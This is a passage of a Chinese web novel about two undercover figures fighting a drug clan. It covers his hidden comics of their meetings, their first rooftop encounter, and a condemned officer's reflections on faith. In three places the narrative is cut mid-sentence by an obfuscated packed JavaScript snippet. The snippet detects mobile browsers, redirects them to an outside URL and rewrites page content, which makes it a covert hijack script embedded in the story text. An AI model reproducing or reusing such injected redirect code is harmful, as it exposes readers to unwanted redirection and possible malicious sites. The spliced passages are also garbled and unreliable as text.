一个瘦削的少年穿着病号服，直挺挺地站在天台边缘的矮墙上。 这少年满头都被纱布包裹着，叫人瞧不见面容，只露出一双分外明亮的双眸。 注意到这人脚下建筑物外墙上的红十字，容清洛才发觉这是医院。 终于，容清洛意识到，这个穿着病号服、满脸纱布的人，正是她自己。 这是她和晏行铮第一次见面时的场景。 容清洛失笑，莫非晏行铮第一眼见她，还以为她是个少年吗？ 她仔细在这格漫画上寻找，果然在她背后的一片背景之中，发现了花架后面藏着的一个侧影。 下一格中，那人露出正脸，正是戴着口罩的Q版晏行铮。 容清洛一直知道晏行铮画画很好，但她只见过晏行铮画地图、画嫌疑人、画目标，没想到晏行铮还会画这么可爱的漫画。 她仔仔细细地一张一张看过去。 每一张漫画上都是他们相遇的某个场景。 每个分镜，寥寥数笔，形象生动。 有些场景旁边还会配有简短的话语。 容清洛以前一直以为，这些事情只有她记得。 未曾想到，他也不曾忘却。 酒席间，她穿着旗袍翩跹而舞，他端坐席上品茶而望。 「干净的花朵，不该出现在泥沼里。」 花洲岛上，她奉上地图和情报，希望与他并肩战斗，成为同行者。 「想要抓住这缕清风。」 九川江畔，她拿着一罐啤酒，仰望月亮，略带愁绪。 「愿你如此间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586994|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明月，永不坠落。」 宅院街角，花窗之后，竹林深处，她冷凝着眼露出半张脸，枪口对准扑向他的藏獒。 「那子弹穿透一切最终所打中的——」 雪降时分，漫天花瓣与飞雪里，她伸手去接雪，而他在她身后望着她。 「我愿意。」 悬崖观景台上，她说她的信仰是因不甘与愤怒而燃起的复仇信念。 「不忍再看见你寂灭的眼睛。」 裕园内，她找到了装有林裕这么多年所有制毒贩毒交易记录的硬盘。 「争气的食人花。」 容清洛的手指在这些画作上轻抚：“原来在你眼中，我是这样的。” 最后一幅是一个单格漫画。 其上有奔涌向东的江水，以及高悬的满月。 阔大的水面上，有清风拂过漾起的水波。 容清洛本以为这张漫画上没有人。 思索着寓意，她盯着这幅图的时间不免有些久。 蓦然间察觉那水中倒影有异，容清洛将画倒过来。 水面映照出的分明是—— 两个相拥着的人影。 这张图背后，有一句话。 「九川江畔的朗月清风，送给最勇敢的你。」 朗月。 清风。 谁是朗月，为谁点亮那无边暗夜。 谁是清风，为谁吹散那厚重云雾。 *** 四年前的某个夜晚。 周衡立临危受命，将要继续使用晏行铮这个身份，前往西南地区大毒枭身边，潜伏进更深的黑夜。 出发之前，他整理行装。 实际上，在林裕身边当卧底多年，晏行铮没有留下什么和他自己私人相关的东西。 他的生活基本上都是任务，任务，还是任务。 收拾东西时却意外地发现了唯一和任务无关的物品，竟然是—— 这几幅在深夜无眠之时，细致描绘的漫画。 他舍不得扔掉，却又无法携带，只好留给画中之人。 暗夜中，行走在这条路上近十载，唯一的一点私心，与她有关。 若他能活着回来，自不必通过信件的方式转交。 可若万一，他不能归来，他有一个小小的愿望。 希望这段回忆，不是只有他一个人留恋。 怕她忘记，更不舍她痛苦，所以没有留下长长的信笺。 简短的漫画。 只言与片语。 并不浓烈的情谊。 甚好。 153. 夜来皎月（周衡立） 容清洛第一次遇见晏行铮，是在十六岁那年初夏的五月。 当时容清洛还不叫容清洛，她还叫着自己最初的名字——季希。 那一年，晏行铮也才二十岁，正在江省警官学院读大二，尚未开始使用晏行铮这个化名。 他自己的名字，是周衡立。 那个清晨对大多数人而言，其实并无任何特别之处。 但天尚未亮，周衡立便已出门。 他要去南庐市人民医院体检。 只不过周衡立到得太早，以至于医生都还没有上班。 没什么事做，他只好沿着医院的楼梯一层一层向上走，借此消磨时间，权当是锻炼。 在顶楼发现一个天台，是意外之喜。 这样一个与天地相接且不被人打扰的僻静之处，恰是他所需要的。 周衡立走上天台。 天色朦胧，其实什么也看不清。 天幕仿若笼罩在一片灰雾之中，只能瞧见天边尚有几颗星子影影绰绰。 周衡立靠在花架下，闭目养神，思考着他正面临的抉择。 也不知过了多久，就在这样的一片寂静之中，有歌声从几丈之外响起。 周衡立忽地睁开双眼，天尽头有一线天光撕破这将尽的残夜，也让他循着歌声看清楚，那道站在顶楼边缘矮墙上的人影。 心中陡然一惊，这人难道想要跳楼？ 周衡立想要上前阻止，可又怕惊着那人，只好按兵不动，但时刻注意着那人的动作。 仅凭肉眼，其实不太能从背影看出那人究竟是男是女。 只能瞧见那人整个头上都包裹着纱布，病号服有些大，更显得人形销骨立，弱不胜衣。 那吟唱着歌谣的低沉嗓音，带着几丝无法言明的激昂战意。 若不是那音色里流露出少女的清丽，他险些以为那是个小少年。 这小姑娘的歌声里并没有死亡的气息，反而有种英勇顽强的战斗意志。 这样的人，应该不会寻死吧。 保险起见，周衡立并未离开。 等到一曲歌毕，那姑娘从天台边缘的矮墙上安全落至天台地面时，他才真正放心下来。 那首歌是周衡立第一次听到。 歌词不像是这么年轻的小姑娘所作。 「苦痛是人生底色，苦难是红尘常态。」 「生而为人，众生皆苦，命运何怪。」 挺有意思。 所以当小姑娘发现他时，一向并不多事的他问道：“歌不错，你自己写的？” 那姑娘显然还在思量他是不是坏人，听他这么一问，摇头道：“不是，朋友写的。” 能在这黎明破晓的时刻来到天台，无论年龄，多半是有心事的人。 也许是气氛使然，两个萍水相逢的陌生人竟然就这样放下戒备，你一句我一句地聊了起来。 虽然一开始也并不是那么的友善。 周衡立靠在花架上，斜睨面前的姑娘一眼：“胆子倒是挺大。你知道这栋楼有多少层吗？” 她立刻反唇相讥：“你既然知道这是几层，刚刚你怎么不救我，反而冷眼旁观？” 周衡立实话实说：“我在你的歌声里没有听出死亡的气息，反而捕捉到几丝战意。” 她似乎在思考他的话，这回倒是没有反驳。 周衡立饶有兴趣地打量她几眼，猜测道：“你是想要变强大吗？” “可惜色厉内荏是不行的。” “由内而外的强大才是真正的强大。” 她语气不悦：“你话很多。” 周衡立：“我看人很准，不会看错。” 瞧见小姑娘像是被惹恼，虽然满头满脸都被纱布裹着，却依旧很鲜活地冲他翻了一个白眼，周衡立轻笑出声，逗她道：“小姑娘，怎么，看你这样子，和人打架了？伤的还挺严重，难不成是没打赢，被欺负了，所以心情不好，来天台思考人生？” 周衡立没想到，小姑娘也靠在了花架上，学着他刚刚的语气，对他道：“我看你年纪也不大，也还是个学生吧，什么小姑娘、小姑娘的。” “小伙子，怎么，看你这样子，虽然没打架，但是也遇到难事了吧？” “说出来本姑娘帮你想想办法。” 听到这话，周衡立对这姑娘突然软化的态度有些惊讶。 他缓缓抬眼，对上那姑娘面容上唯一没被纱布遮盖的眼睛。 当触碰到里面潜藏着的对萍水相逢之人的担忧和紧张时，周衡立才倏尔明白，这姑娘原来是怕他也存着往下跳的心思。 陡然间，原本不该往外倾吐的心事，在这个偶然相遇的清晨，也有了诉说之意。 周衡立收起口罩之下随意懒散的笑容，面无表情道：“我只是，在面临一个抉择。” 小姑娘：“那看来你也有一个不太好的习惯。” “你似乎和我一样，都喜欢在做决定时到无人的高处看看。” “可惜偶尔会被人误会成要做傻事？” 她在试探他。 “嗯，我没有误会你，”周衡立眼里露出笑意，从善如流地给出她想听的答案，“希望你也不要误会我。” 感受到对面的姑娘在听到他的话后明显松下一口气，周衡立眼里极快地闪过一丝笑意。 他周围所碰到的人里面，很少有人的情绪这样直白地显露出来，虽然这个姑娘自以为掩饰得很好。 她这一本正经的模样分明就是学校里的乖学生，很难想象什么人会忍心让她受如此重的伤。 周衡立难得被勾起好奇心，便多了几句嘴，问道：“你今年多大了，看起来应该才上高中？你有什么需要做的重大决定？” 小姑娘握着拳：“总之是很重要的决定，可能会改变一生的那种。” 周衡立看出她不想多说，便没有多问，宽慰道：“也别给自己太大的压力。高中嘛，多美好的时光，是所有人都朝着一个目标闷头努力的时候呢。” 小姑娘：“我的事情很复杂，你不会懂的。” “你呢，你是大学生吗？” “你有什么重大抉择这么为难，找工作吗？” “难道是选择太多，挑花了眼？可如果是这样的话，你为什么要来医院？” 对面一连串问题抛来，周衡立默然片刻，才道：“我来体检。” 小姑娘冷不丁地冒出来一句：“你不会是警校的吧？” 周衡立未料到这姑娘瞧着呆呆的，直觉却这般敏锐，不想她多问，便吓唬她道：“别瞎打听。知道太多的人，容易被灭口。” 小姑娘对他的威胁很不服气：“我脸上都是纱布，你也戴着口罩。咱俩又没有互通姓名，谁都不认识对方。并且人海茫茫，今天走出天台这个门，以后估计都不会再见面了。” “难得咱俩都有重大决定要做，既然老天给我们这个缘分在今天相遇，说不定就是让我们给互相解惑的。那么紧张干什么，好像谁没个机密似的。我的秘密不一定比你小……” “好好，你的秘密大。”周衡立感到有些好笑，转念一想，却又觉得她的话很有几分道理，思索片刻，捡着能说的讲了几句，“我给你打个比方吧。” “如果所有人的目标都是要攀登一座山峰，但是，有的人可以白天在阳光下光明正大地行走，有的人却只能在暗夜里不见天光的时候潜行。” “最终到达终点，不论是白天还是黑夜里行走的人，都为此付出许多努力。可人们往往只能看见阳光之下的人的付出。暗夜里的人，始终要潜藏在夜幕之下。” “如果是你，你愿意走进这黑夜吗？” 小姑娘不假思索道：“如果没有其他的选择，为什么不呢？” “不是每个人都有资格在阳光下行走的。站在光明与黑暗的岔路口，常常推动我们做出抉择的，不是我们自己，而是命运。” “而且，白天走还是黑夜走，真的区别很大吗？” “白天有白天的美景，夜晚也有夜晚的奇遇。” “白天有太阳普照，夜晚同样也有星月为伴。” “更何况，你难道不知道，自然界里的猛兽都是在黑夜里狩猎的吗？” “也许命运将你推进黑暗的时候，不是为了将你消灭，而是为了让你发现你自己的强大。” “没准，其实不是命运为你选择了黑夜，反而是因为你本身就属于黑夜，命运才为你指引了一条发现自我的路径。” “有的人呐，只有在最漆黑的夜幕里，才最璀璨。” 小姑娘话语里潜藏着决绝、潇洒与无畏。 她说得那么坚定，无形中也感染了周衡立。 他沉默片刻，问道：“你是在安慰我吗？” 小姑娘立马反问道：“你一个堂堂男子汉，难道还需要我一个小姑娘的安慰吗？” 周衡立笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586995|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来：“你终于承认自己是小姑娘了。” 她为此很懊恼，两人于是又逗了几句嘴，无形中缓和了刚刚压抑的气氛。 周衡立叹道：“我有时觉得你天真，但有时候又感觉你很沧桑。你似乎是一个很有故事的人。” 季希：“彼此彼此。” 之后他们各自靠着花架思考着自己的抉择。 长久的缄默之后，周衡立蓦地起身：“不早了，我得走了，小姑娘，有缘再会。” 小姑娘点头未语。 周衡立摇头笑笑，转身离开。 在他即将踏出天台时，身后的小姑娘隔着老远突然喊住他。 周衡立回首。 小姑娘小跑几步，来到他面前，认真问道：“你是怎么选择的？” “你会走进黑夜吗？” 在今天之前，周衡立从来没有想过，有朝一日竟然是一个萍水相逢的小姑娘，在这个抉择的关键节点来问他这个问题。 他自嘲地笑了起来。 小姑娘以为这是在笑她，十分不悦：“你在笑。为什么，难道这个问题很好笑吗？” 周衡立收起自嘲，仔细思考后，郑重道：“用你的话说，也许真的存在命运吧。那么，如果命运让我们今后有机会再见，到时候你就会知道我的选择。” 小姑娘：“可是即便再见面，咱俩互相都不见得记得对方，更遑论认出人来。” 周衡立：“是吗，那你可要记住我，我也会记住你的。” 小姑娘：“话谁不会说呀。出了这个门，你还认你说的话吗？” 周衡立：“你怎么知道，我不认呢？” “不过，你就这么自信，以后再见面的时候我会认不出你？” 小姑娘：“我脸上都是纱布，包着脸呢。” 周衡立微微蹲下身，视线和面前姑娘脸上唯一露出的双眼平齐。 小姑娘很疑惑：“怎么了？” 周衡立嘴角轻扬。 此人之眼眸，他注视过。 此人之歌声，他倾听过。 此人之灵魂，他感受过。 末了，他道：“可我们这种人，认人从来不靠脸。” *** 这次短暂的相遇以后，季希和周衡立各自做出了自己的抉择。 季希为复仇，想要彻底扳倒林氏，因此与效忠于范氏的严靖诚达成协议，改容貌，换名字，成为容清洛，潜伏到林家人身边，搜集林家的罪证。 周衡立报名参加遴选，加入夜行计划。 在光明和黑暗的岔路口，他们都选择走进这黑夜。 知其白，守其黑，藏身暗夜，守护光明。 容清洛和周衡立再次见面，已经是一年半以后的隆冬。 周衡立在警校有一个关系很好的师兄，名叫文新霁，已经毕业。 文新霁那段时间在外执行任务，不能和家人有联系，因此便拜托周衡立给妹妹买几本书作为生日礼物。 而那时，舍掉昔日旧名字、旧相貌、旧身份的容清洛，明面上在书店打工，实际上伺机接近林家大小姐林晶，搜集有关林晶的所有情报。 周衡立去书店买书那天，恰好轮到容清洛值班。 在书店，容清洛认出周衡立是曾经在市人民医院顶楼天台与她有过一面之缘的人。 不过周衡立心中有事，没太注意书店店员，自然也就没认出容清洛。 容清洛本以为两人之后不会再有交集，哪想到当天晚上，他们又再次见面。 周衡立是宁川市人，来南庐市读大学，那天晚上恰好到家在本地的大学好友家中吃饭。 饭后，周衡立刚走出好友家小区没多远，正巧碰到容清洛拿着刀要捅人。 当时，容清洛在僻静的人行道上被一群见色起意的酒鬼纠缠，不得已拿出随身带着用以防身的刀，准备反抗。 就在刀尖即将捅出血来的千钧一发之际，容清洛察觉到有人从身后极快地控制住她，将她手中的刀卸掉。 那一刻，容清洛其实是很绝望的。 最后的底牌，没有了。 之后的情况，她未曾料到。 身后那人竟然上前，将她护住，赤手空拳把那些醉汉打得望风而逃。 原来，是友非敌。 两人便是在这种情况之下相互认出彼此。 这就是容清洛和周衡立在南庐市初见的三面之缘。 154. 夜来皎月（晏行铮） 第二年春天，容清洛在严靖诚的安排下来到宁川市，开始暗中调查和接近林家大公子林裕。 当年六月，周衡立从位于南庐市的江省警官学院毕业，身份档案秘密调入宁川市警局。 而他本人，则化名晏行铮，成为一个高中辍学以后在武术馆当了多年学徒才刚刚下山谋求生路的无业游民。 林裕实在太过神秘，容清洛前几个月都没什么进展。 直到九月份林晶到宁川市读大学的时候，她才根据林晶顺藤摸瓜探到林裕每日的行踪。 而这时，晏行铮已经成功引起林裕的注意。 他在林裕某次受到人袭击时路见不平，见义勇为，替林裕挨了一刀，救下林裕一命。 林裕看中了晏行铮常人难以企及的身手。 得知晏行铮曾经专门在山上拜师学武术，是个练家子出身，他便决定把晏行铮留在身边。 但晏行铮受的伤不轻，直到十二月上旬，晏行铮才出院，搬进林裕给他安排的一处公寓。 而这间公寓，正是容清洛之前的关注重点，还被容清洛趁着小区意外大规模停电在公寓门口安装了针孔摄像头。 自然，容清洛安装的这枚针孔摄像头没有逃脱受过专业训练的晏行铮的眼睛。 晏行铮疑心是林裕不信任他，于是拜托上线平叔进行调查。 最终查到的结果是，摄像头经由一位名叫容清洛的姑娘在八月中旬安装，此人的目标多半是林裕，而不是他。 既然不是林裕不放心他，晏行铮放下心来。 可当他发觉照片上的容清洛分明就是季希时，他的心又吊起来。 “季希，你究竟想要做什么？” 而容清洛这边，等到十二月底她才终于有时间察看前几个月的监控视频，当她在视频画面中瞧见某张英俊的面庞时，说不惊讶是假的。 此时距离南庐市最后的那次遇见，已经过去将近一年。 盯着监控视频最后一幕中那双冷凝的眼，容清洛不禁隔着屏幕、隔着时空发问。 “周先生，你到底是谁？” *** 后来，晏行铮偶然间发现林裕在调查一个女人。 他不能放过林裕身上的蛛丝马迹。 他必须通过面上那些无数的细枝末节，去洞察林氏地表之下那个庞大的黑暗世界的根须和触手。 所以晏行铮没放过这个细节，根据线索探寻过去，竟然发现林裕派人调查的对象是季希。 或者，他应该称呼她为容清洛。 晏行铮本不该出现在她面前的。 但心里似乎总有那么一丝不忍，在不断地探头。 毕竟他们曾有过三次遇见的缘分。 于是，晏行铮跟踪容清洛到她的住处。 没在附近瞧见林裕的人，晏行铮稍感放心。 但容清洛竟然说他不请自来，不是君子。 晏行铮并未解释，只道：“我本来也不是什么君子。” 他告诉容清洛，林裕已经派人到南庐市调查她的身份，劝她早点离开这个是非之地。 可容清洛却说，她走不了的。 晏行铮不解。 但容清洛什么也没说。 作为对晏行铮冒险送信的谢礼，容清洛送给他一份情报——两张足以把范氏和林氏之间争斗的漩涡搅得更浑的照片。 晏行铮希望能够借林裕对付范氏。 范氏也是扫黑的对象，如果能借林裕的手把范氏连根拔起，这未尝不是好事。 而容清洛则需要借林裕这个敌人之手让欺骗她、利用她的严靖诚彻底失势，不再威胁她。 严靖诚这个合作者做人做事都太不地道，她要换人。 而晏行铮，就是容清洛看中的新合作者。 从容清洛的住处离开，晏行铮越发感觉到容清洛的神秘。 她能引起林裕的注意。 她还有可能与林裕要他查的严靖诚有联系。 她甚至知道一些连他都不知道的消息。 思及此，晏行铮找到平叔，请他再好好查一下这个姑娘。 他有预感，也许季希，或者说容清洛，会是以后一个不小的变数。 *** 范氏和林氏的交手，一开始是林裕在下风，还牵扯到林晶吸毒等事件。 容清洛在决定换掉严靖诚这个合作者之前，给严靖诚提供了不少情报。 严靖诚手握这些情报，发起对林氏的全方位攻击。 林裕被逼得走投无路，对远在南庐市的严靖诚无计可施，便把一腔怒火全发在了容清洛身上。 容清洛毕竟是手无缚鸡之力的女孩子，反抗不成功，被迫陪了林裕一晚。 晏行铮当时被林裕派到南庐市处理林晶和范家的事情，等他回到宁川市才知道林裕竟然对容清洛做出那种事情，晏行铮很心痛。 他这次回南庐市其实顺便去调取过季希的资料，可是季希的资料一片空白，就好像从未出现过这个人一般。 只能查到容清洛的资料，但资料显示，容清洛这个人从未到过南庐市。 那他当初在南庐市遇到的是谁？ 难道他认错人了？ 不，他不可能认错，而且容清洛也从未否认过她是季希。 只有一个可能，有人抹除了季希存在的痕迹。 *** 后来，林裕不得已，答应吴老迎娶患有精神疾病的吴小姐。 背靠吴家，林裕彻底翻盘，把范氏弄垮。 大厦之倾倒，只需要一瞬间。 容清洛这才明白，她只会是在范氏和林氏争斗中被殃及的池鱼。 在两方争斗间坐收渔翁之利，这不是她这种道行的人能做到的。 如今，她大仇未能得报，失去的却更多。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586996|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始作俑者林氏爬得更高了。 怎么能甘心呢？ 容清洛痛定思痛，决定学习林裕，借最大的势，抱最粗的大腿。 她看到过新闻，知道目前正在大力扫黑除恶。 根据贺溪君的信息，她确信林裕身边有卧底的存在。 既然林氏这棵大树她撼动不了，那她就找能收拾他们的人来。 *** 范氏的根在南庐市，林裕需要派人到南庐市接管范氏的地下产业。 这个人选，林裕最终定的是晏行铮。 林裕比晏行铮大十岁，最喜欢用的就是那种既有上进的野心、又好因此被控制的年轻人。 所以晏行铮有时会刻意在林裕面前表现出想要向上爬的欲望。 之前林裕只让晏行铮管着沙场，没让他参与林家黑暗面真正的核心产业。 但这次斗垮范氏之后，林裕手下亟需补充新鲜血液。 加上最近林裕交给晏行铮的几件事情，晏行铮都办得不错。 所以林裕给了晏行铮接管范氏的机会。 毕竟晏行铮有一个很大的优势，就是他不仅脑子灵，武力值还很高，身手非常好。 林裕希望晏行铮能通过这次考验。 这样，以后他谈一些大生意的时候，就能把晏行铮带上。 晏行铮不是保镖，瞧着温文尔雅，这更能迷惑对方，能在关键时刻保证他的安全，带他逃出生天。 *** 晏行铮接到林裕下达的任务，到达南庐市。 严靖诚是范氏手下的人，严靖诚死后，与他相关的地方自然也要被搜查。 晏行铮亲自带人，在严靖诚的住处搜寻到不少有关范家的资料。 其中就有季希的资料，上面记载了季希如何改头换面变成容清洛的详细情况，包括当初季希和严靖诚签的合同。 晏行铮这才知道，季希这些年究竟经历了什么。 他终于明白，为何在他劝季希离开时，季希会说，她走不了。 晏行铮本来想销毁这部分与季希有关的资料。 但是晏行铮在林裕手下异军突起，也有人看他不顺眼，他被盯得紧，实在没机会下手。 这些资料最终还是被送回宁川市，交给林裕。 林裕拿到严靖诚和容清洛的合同以后，才知道容清洛原名叫作季希。 他当着容清洛的面，把这一纸合约烧掉，对她道：“你自由了。” 可转眼，林裕就把容清洛敲晕，带到了花洲岛。 花洲岛位于宁川市郊区，是一个自然形成的沙洲小岛。 林裕买下这座岛有些年头了，他有这座岛的使用权。 岛上都是林裕的人，容清洛就这样被林裕困在了花洲岛。 但也正是在这里，容清洛试探出了晏行铮的身份。 看似不相交的两条线，终于迎来了重合的机会。 155. 夜来皎月（晏行铮） 晏行铮在西南地区的大毒枭身边当卧底，搭档是个老熟人，文新霁。 这次，文新霁的化名叫做李格。 两人早已是生死之交，配合默契，搭配起来，事半功倍。 然而，卧底不是每次都能化险为夷。 老马也会失蹄。 晏行铮再有经验，也会失手。 可惜，对于一个每天把脑袋拴在裤腰带上的卧底而言，哪怕只是失手一次，也意味着有丢掉性命的危险。 对晏行铮而言，更令他难过的是，一次失算，他不仅会赔上自己的命，还会搭上李格的命。 唯一值得欣慰的是，在被抓之前的最后关头，晏行铮成功将收集到的所有情报传了出去，他们的上级，很快就可以收网了。 倒在黎明之前，是最冤的一种死法。 但是没办法，世事无常，晏行铮和李格都被抓了，被关在西南地区一个深山老林的山洞里。 严刑拷打，暗无天日。 两人硬抗了上十天，什么也没说。 明天，晏行铮和李格会被大毒枭处以绞刑，吊死在毒寨大门前。 看守他们的人敬二人都是汉子，今夜没再拷打二人，把二人关进山洞里的牢房，给他们送了点酒菜，算是断头饭。 晏行铮因为身上到处都是伤，筷子都拿不稳。 他索性便没用筷子，用手抓着饭送进嘴里：“吃吧，最后一顿了，做个饱死鬼，免得明天连死前都没力气站着。” 李格也因为伤用不了筷子，同样是用手抓饭：“也不知我这是什么运气，每次都会被抓，都会被关进牢里。” “可惜了，这回没有你救我了。” 晏行铮有些怅惘：“是啊，这次，我也在牢里。” “是我对不起你。” 李格：“别这样说，我们是战友，是伙伴，没有谁对不起谁，只有同舟共济，并肩作战。” 晏行铮颤颤巍巍拎起酒瓶，倒了两杯酒，因为拿不稳，还洒出一些。 他指着其中一杯，示意李格：“喝。” 两人端起酒杯，碰杯，都是一饮而尽。 接着，就这样你一杯，我一杯。 悲凉在无声之处酝酿。 蓦地，李格扔下酒杯：“阿铮，我心中有一个疑问，今天一直困扰着我，再不问，以后就真的没有机会了。” 晏行铮：“你问。” 李格：“你说，究竟什么是信仰？” 在晏行铮的记忆里，上一个和他讨论信仰的人，是容清洛。 然而距离上次两人在裕园分别，已经过去两年多。 晏行铮因为任务的原因，不能联系容清洛。 而容清洛，不知道她有没有找过他。 不管她找没找过，肯定是找不到的。 晏行铮的卧底生涯不总是腥风血雨，也有休息的时候。 这种时候，晏行铮也会上上网，顺便，关注一下容清洛。 他知道容清洛又发新歌了，知道容清洛开始转型演电视剧了。 晏行铮喜欢听容清洛的歌。 他最喜欢她的两首歌，歌名分别叫《弱德之美》[1]，和《人格自决》[2]。 老实说，容清洛才开始演戏，演技其实不太好。 但晏行铮还挺喜欢看的。 看见容清洛的脸，能给他力量。 晏行铮是这么分析原因的。 容清洛是一个成功从黑夜走进白天，并且现在过得很好的人。 这是成功案例。 李格伸手在晏行铮面前乱晃：“兄弟，这个问题这么好笑吗？” 晏行铮从回忆里回神：“我笑了吗？” 李格肯定地点头：“笑了。” 晏行铮轻咳一声，回答李格最开始的问题：“所谓信，便是不怀疑，相信。” “所谓仰，便是敬慕，依赖。” “因此，有人告诉过我，信仰就是，对某种至高无上的信念极其相信，毫不怀疑，并且仰赖这种信念的支撑克服千难万险，为实现目标而坚定不移地奋斗。” 李格：“那对我们而言，我们的信仰应该是什么？” 晏行铮：“你应该问你自己。” “每个人的信仰都是不同的。” 李格：“我以前也有信仰。” “甚至直到今天上午被拷打时，我依然有信仰。” “我们当警察的，信仰当然是要守护人民，保卫人民。” “为了人民的安全，我们有责任，让这片土地上，没有毒品，没有黑恶势力。” “所以，我坚定地来当卧底，将生死置之度外。” “到现在，在我生命的最后时光，我可以毫不愧疚的说，我，一名本名叫做文新霁的警察，这辈子没做过任何对不起组织的事情，我自始至终，都是忠诚于国家和人民的。” “但是，临死之前，我也想做一个明白鬼。” “我仍然忠诚，但我也有一些疑惑，需要人来解答。” “明天，我们就要死了。” “闭上眼，这一辈子，就真的没了。” “就在刚刚，我突然感到非常恐慌。” “虽然再来一次，我一定依旧会做出和现在一模一样的选择，但是我仍然不知道该如何说服自己，我的选择是正确的。” “我发现自己其实很愚昧，很无知。” “我感觉自己这辈子没活明白。” “你觉得，我们的付出，以生命为代价，真的值得吗？我们换回了什么呢？” “如果最后我们为之努力的目标能够实现，那我觉得我们的付出是值得的，哪怕是献出生命。” “可问题是，我们闭眼之后，未来的事情，什么都看不到。” “你怎么知道，我们不是无足轻重的炮灰呢？” “我们是这么渺小，我们死了以后，这个世界不会有任何改变，该什么样还是什么样。” “黑暗，依然存在。” “恶，依然存在。” “那我们的牺牲，有什么意义呢？” “你怎么知道，我们为之奉献的，一定会实现呢？” “如果不能实现，我们……岂不是……白白就这样死掉了……” 讲到这里，面对酷刑也毫不皱眉的李格，声音竟然有些哽咽。 晏行铮拍拍他的肩膀，为他倒酒。 李格拿起酒杯，一口干掉。 喝完，他又觉得这杯子太小，实在是不甚过瘾，无法消解心中惆怅。 晏行铮看出来，把酒瓶递给李格：“用这个喝。” 他们这顿断头饭是真慷慨，居然还有一整箱酒。 李格举起酒瓶，没喝，而是把酒水往脸上倒，洗了把脸。 酒水从额头顺着眉骨、眼窝、鼻梁向下蜿蜒。 也不知流下的液体中，除了酒水，有没有泪。 劣质的酒水味在空气里弥散开来。 这半瓶酒就这样倒完。 晏行铮在思考李格说的这番话，一时却给不出回答，摇头自嘲一笑；“我也没活明白。” 惆怅在心中发酵，晏行铮开了两瓶酒，干脆两人一人一瓶，都直接拿瓶子喝。 李格干了一口，又道：“你怎么知道你坚信的一定是对的呢？” “究竟什么才是这个世界运行的真正规则？” “是否真的存在天道？” “宇宙真理究竟为何？” “人类会有这样的疑惑，因为人类真的无知。” “我们因为无知，所以怀疑。” “但也正因为怀疑，才会去探寻真理的边界。” “我们本来就不知道什么是真正的正确。” “我们不是全知全能的造物主，我们是无知的人类。” “已经说了这么多了，不如再大胆一点质疑，我们凭什么认为自己所坚持的就是正确的，凭什么认为自己就是正义的一方？” “也许恶——” “本来就是世界的真相呢？” “即便在当今人类文明中达成了许多共识，但这些都是由我们人类自己创造的，是人为制定的标准。” “在这样的一套制度和规则之下，人为划分出了正确和错误。” “但真正的天道是如何看待这个世界的呢？” “在真正的天道之下，什么才是真理？什么是对？什么是错？什么才是必须遵守的法则？” “老天，我怎么会有这么多疑问？” “明明昨天，我都还从未思考过这些问题。” “这些问题，我不敢给出肯定的回答，因为我不敢说，我所认为的，就一定是正确的。” “我的人生经历，走到临死前的这一步，我无法证明这些。” “所以啊，人类所有的痛苦，归根究底，还是源于无知，源于对这人生，生命，命运，宇宙，有太多太多的不明和困惑，所以才会煎熬、才会痛苦。” 晏行铮拿着酒瓶，和李格碰杯：“你如果认识容清洛，也许你们能聊到一起。” 李格：“之前在宁川市，你的那个线人？” “她好像和我妹妹，关系很好。” 晏行铮：“她也和我聊过有关信仰的问题。” “我觉得她说的有一点还挺有道理的。” “她说，只有身处黑暗的人，才会需要信仰之火来照亮生命。” “只有承受过常人难以忍受的苦痛的人，才会需要坚定的信仰之火来指引前行的方向和道路。” 李格：“好像确实是这样。” “你说我们，成天与社会的黑暗面打交道，要是心中无信仰，迟早被侵蚀。” “不是有一句话叫做，屠龙少年终成恶龙？” “但对于普通人而言，生活里的幸福是小确幸，苦痛是小波折。” “没有见识过极致的黑是什么样子，根本不需要极致的白来平衡自己的生命。” 晏行铮：“你说得对，信仰就是极致的白。” “只有极致的白，才能帮助我们对抗极致的黑。” 李格：“而普通人的现实世界，只要保持不黑不白，就能过下去。” “幸福的人是不需要信仰的。” “只有那些需要克服人性的艰苦之事，才需要依靠信仰去坚持。” “其实想一想，没有信仰的人也许活得更幸福。” “需要信仰支撑才能走下去的人，往往才活在痛苦之中。” “但其实无论有没有信仰，无论一个人选择用怎样的方式度过一生，归根究底，这都只是浩瀚天地间一只微小的蜉蝣的自娱自乐。” “蜉蝣生命的价值与意义，只有蜉蝣自己在意，连其他蜉蝣都不甚在意。” 晏行铮：“可这，也许恰恰正是信仰的光辉所在。” “我们拥有信仰，本也不是为了别人的在意。” 李格：“正是因此，我才想在临死前，告诉自己，我的选择没错。” “但我无法证明这句话的正确性。” 